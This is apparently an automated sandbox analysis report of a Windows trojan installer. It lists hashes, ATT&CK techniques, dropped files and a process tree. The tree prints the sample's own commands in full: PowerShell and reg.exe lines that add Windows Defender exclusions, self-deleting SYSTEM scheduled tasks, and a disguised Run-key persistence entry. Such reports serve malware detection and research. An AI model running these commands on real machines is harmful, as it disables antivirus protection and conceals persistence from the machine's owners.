ac60576384bed060038722a50cec6a927a37fcf092a9a5b9a4292d34753e2f56

Analysis

max time kernel
150s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 04:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.3.1.05.exe
Size 32.4MB
Sample261027-enppca1vgt
SHA256 ac60576384bed060038722a50cec6a927a37fcf092a9a5b9a4292d34753e2f56
MD5 5da95eb5d6d15c30b515f0e260521433
SHA1 6247fa8e218c424d317fb9e4d849690478249485
SHA512 acb8558c29d400ccdb3409f7d4c47682a82174954f3f222f32b931f43c2567dc7b6c8f2a3321c763831a772663a41ee478974d9b3bcd679f5de5516bbd372ea6
SSDEEP 196608:zqEfM3r4vGOgAVAiZfFK0SBqtiEPFNPT8:z6qpg
TLSH
T1EB770646FA414DD2F85846F588ABB7A023FEBD7582D1C30721D87325AFAF29C0E93195
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\vx2kBm = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6072	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
6108	aqZdYq.exe
2460	aqZdYq.exe

Loads dropped DLL 2 IoCs

pid	Process
6108	aqZdYq.exe
2460	aqZdYq.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vx2kBm\\aqZdYq.exe\""	aqZdYq.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3464	cmd.exe
5144	cmd.exe
5956	cmd.exe
2492	cmd.exe
5092	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	aqZdYq.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4516	cmd.exe
3052	cmd.exe
1564	cmd.exe
4636	cmd.exe
5856	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.3.1.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	aqZdYq.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	aqZdYq.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.3.1.05.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1724	schtasks.exe
5260	schtasks.exe
5840	schtasks.exe
4844	schtasks.exe
2060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
5348	install.3.1.05.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe
6108	aqZdYq.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	6072	powershell.exe
Token: SeIncreaseQuotaPrivilege	6072	powershell.exe
Token: SeSecurityPrivilege	6072	powershell.exe
Token: SeTakeOwnershipPrivilege	6072	powershell.exe
Token: SeLoadDriverPrivilege	6072	powershell.exe
Token: SeSystemProfilePrivilege	6072	powershell.exe
Token: SeSystemtimePrivilege	6072	powershell.exe
Token: SeProfSingleProcessPrivilege	6072	powershell.exe
Token: SeIncBasePriorityPrivilege	6072	powershell.exe
Token: SeCreatePagefilePrivilege	6072	powershell.exe
Token: SeBackupPrivilege	6072	powershell.exe
Token: SeRestorePrivilege	6072	powershell.exe
Token: SeShutdownPrivilege	6072	powershell.exe
Token: SeDebugPrivilege	6072	powershell.exe
Token: SeSystemEnvironmentPrivilege	6072	powershell.exe
Token: SeRemoteShutdownPrivilege	6072	powershell.exe
Token: SeUndockPrivilege	6072	powershell.exe
Token: SeManageVolumePrivilege	6072	powershell.exe
Token: 33	6072	powershell.exe
Token: 34	6072	powershell.exe
Token: 35	6072	powershell.exe
Token: 36	6072	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 6108 wrote to memory of 6072	6108	aqZdYq.exe	90
PID 6108 wrote to memory of 3464	6108	aqZdYq.exe	92
PID 3464 wrote to memory of 5840	3464	cmd.exe	95
PID 3464 wrote to memory of 4736	3464	cmd.exe	97
PID 3464 wrote to memory of 600	3464	cmd.exe	99
PID 6108 wrote to memory of 5144	6108	aqZdYq.exe	100
PID 5144 wrote to memory of 4844	5144	cmd.exe	103
PID 5144 wrote to memory of 1484	5144	cmd.exe	104
PID 6108 wrote to memory of 5956	6108	aqZdYq.exe	105
PID 5144 wrote to memory of 5012	5144	cmd.exe	109
PID 5956 wrote to memory of 2060	5956	cmd.exe	110
PID 5956 wrote to memory of 2336	5956	cmd.exe	111
PID 6108 wrote to memory of 2492	6108	aqZdYq.exe	116
PID 5956 wrote to memory of 4112	5956	cmd.exe	118
PID 2492 wrote to memory of 1724	2492	cmd.exe	119
PID 2492 wrote to memory of 1692	2492	cmd.exe	120
PID 6108 wrote to memory of 5092	6108	aqZdYq.exe	122
PID 2492 wrote to memory of 3496	2492	cmd.exe	123
PID 5092 wrote to memory of 5260	5092	cmd.exe	125
PID 5092 wrote to memory of 552	5092	cmd.exe	127
PID 5092 wrote to memory of 2428	5092	cmd.exe	129
PID 5856 wrote to memory of 5104	5856	cmd.exe	132
PID 4516 wrote to memory of 244	4516	cmd.exe	133
PID 3052 wrote to memory of 4124	3052	cmd.exe	134
PID 1564 wrote to memory of 3812	1564	cmd.exe	135
PID 4636 wrote to memory of 3724	4636	cmd.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.3.1.05.exe
"C:\Users\Admin\AppData\Local\Temp\install.3.1.05.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5348

C:\Users\Public\vx2kBm\aqZdYq.exe
"C:\Users\Public\vx2kBm\aqZdYq.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vx2kBm\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vx2kBm\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2428

C:\Users\Public\vx2kBm\aqZdYq.exe
"C:\Users\Public\vx2kBm\aqZdYq.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2460

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vx2kBm" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vx2kBm" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:244

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1260

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4124

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3812

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3724

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5856
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 ea128cb84949ece7edcc8eb61120d65635ab4dadc2be9edb268521a76b918f6c
MD5 997c37740c814140159079e7dbecfc0a
SHA1 c620f350c3236f2bffe1cf4422a263479c7da247
SHA512 2f62f0c7b3ef5fd6281f89219bb455c8ab3f2b63dadee651a9283fdee8bf68a6bfc3b96ba71d5f57d85cdcf900405cf39fe185465ad7680173d4fb394b8a73b4
TLSH
T16F3196BB2F6C3DC2DF3A4E8421CAE1261DF9E2849C8504572149C4D8AF483F22F0960D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 82735c9d490922f26da56d58a169c7269a9a0082f15338ad263d43f58b5a8858
MD5 333c7caa1005a92c009e7aa9a6f846e0
SHA1 19cf6688e3eedaf6fbb9a29791de47a8b2bffa86
SHA512 15ceb38cadfc1419ed690398eee976bf28ee0998a400477fc87d3895da3f260b1bd0ca486ab56acd4fe174e8e6ce13e53615b9f6646c36628cdbb0b94685f2dd
TLSH
T1CD31B4AA9A3A0402DB0C1F2152D1E23BACF498759CA85845672ED1BB461ABB35FCB414
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 0511cd2b827f1c6075e8e3c47c2d9d345f56b8bc544b23f80df72e80593a04db
MD5 6de4a09ffe373b52de64d9a261d72813
SHA1 8db4b81ccffe4ba043208381b3f538093eb34e21
SHA512 de0108a1baf0bed4d191bd8829d7256fe71c43abe19d809e290d99a9f9c312b451138d9493b96a71e769a7a261af179143e112ef9a10cfe1820514666fb8d69d
TLSH
T119F0DC1C1439422FF073D93C87C5BA66196BEB26244689A00BF8070CE209D053D92DB1
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 395ab3f61eae228c32a3f594fc74e6b25851628f65c24c18691f065ac9ea2271
MD5 511ec4fd27eac03008c0609fe9074a9e
SHA1 d62e18135de41436b242661d6e4402e7b2096dca
SHA512 d361e99e88db6027be34d0ffa5a07d5ab2547b148a9565a95db44fc18253bc42f2bcf212d0612c49d8390517fc850b0c820bd78c01547599f92da0ae9f48e9b1
TLSH
T1F9F0DC3805DA012FF17FC4B846C376B029B9F233200E12AF0EB602441F21C014C42268
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_33ggqrzc.l5o.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33ggqrzc.l5o.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\vx2kBm\UxEnhance64.dll
Size 3.1MB
SHA256 4ae1ea534c9834b8b60d959b8fc636339ad0af8dc966d7517873d4548aa59fe1
MD5 7e771725d4b5514ed566257083415657
SHA1 b533f96202f43926257e16f2b63cbc70df5dbd57
SHA512 6aa3e20710ba2b35fb72d24d117a53a2c703f7aa208b7dc2a9e8d5c6fca91e88adae996e5b839ebe22acdec15f71b9eac5f1b4145af4f91929c1d475fd146dd6
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+a:P9m29xx3Tiqt06ox6+z2rNNrKoa
TLSH
T1CEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\vx2kBm\adoresd.dat
Size 4.8MB
SHA256 92444dae21c790f5889cacdbad65c5449cfc51657d3937014fd64699534b779a
MD5 d894c422faa409d2eb6736b261bc41dd
SHA1 5eb301c531d5231732e585bd3bd677851d87d3f5
SHA512 8b162d225ca627f3f08a8d0f1b163281399a15972825b08a059bc54571a41b98c20c4f8c2e61519bd2f810e540b08cd1b4ead4225216457aa24d6ad25e3a25a5
SSDEEP 98304:mWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:mWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T19D3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aqZdYq.exe

Path C:\Users\Public\vx2kBm\aqZdYq.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\vx2kBm\msadox.tb
Size 8KB
SHA256 736af574d2f8015532fcceeff2aa5d8e5ae832c6865c0e5d919ab3fb1b9bff27
MD5 7942b25209a1dff2a52f0e83651fd0de
SHA1 b057dfd3e7bcff0207b996fc9d44358f25a85b88
SHA512 0e69dbcacca661be9c2789c39425fa5da14718456de97cb06019fed834ca1b41f282fead4396b5366403841b5bbd87b7d6d9a3b5a8a88e840d296120e50e996a
SSDEEP 192:3qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:3sZqZOXQ3uqvR2Kfzp
TLSH
T17E029E05D7B20CC3E6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2460-587-0x00007FF816CD0000-0x00007FF816CD2000-memory.dmp

Download

memory/2460-573-0x00007FFFF4050000-0x00007FFFF456E000-memory.dmp

Download

memory/2460-584-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/2460-586-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/2460-585-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/2460-583-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/2460-579-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/2460-578-0x00007FF816CE0000-0x00007FF816CE2000-memory.dmp

Download

memory/2460-576-0x00000220AAC30000-0x00000220AB507000-memory.dmp

Download

memory/5348-524-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/5348-0-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/5348-1-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/5348-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

Download

memory/5348-504-0x00007FF80C3F0000-0x00007FF80C402000-memory.dmp

Download

memory/5348-525-0x00007FF80C3F0000-0x00007FF80C402000-memory.dmp

Download

memory/6072-607-0x0000023ADA540000-0x0000023ADA54A000-memory.dmp

Download

memory/6072-606-0x0000023ADA810000-0x0000023ADA8C2000-memory.dmp

Download

memory/6072-605-0x0000023ADA560000-0x0000023ADA57E000-memory.dmp

Download

memory/6072-599-0x0000023ADA510000-0x0000023ADA532000-memory.dmp

Download

memory/6108-564-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-531-0x00007FFFF4050000-0x00007FFFF456E000-memory.dmp

Download

memory/6108-544-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-543-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-539-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-546-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-538-0x00007FF816CE0000-0x00007FF816CE2000-memory.dmp

Download

memory/6108-536-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

memory/6108-567-0x000001C6FB4A0000-0x000001C6FBD77000-memory.dmp

Download

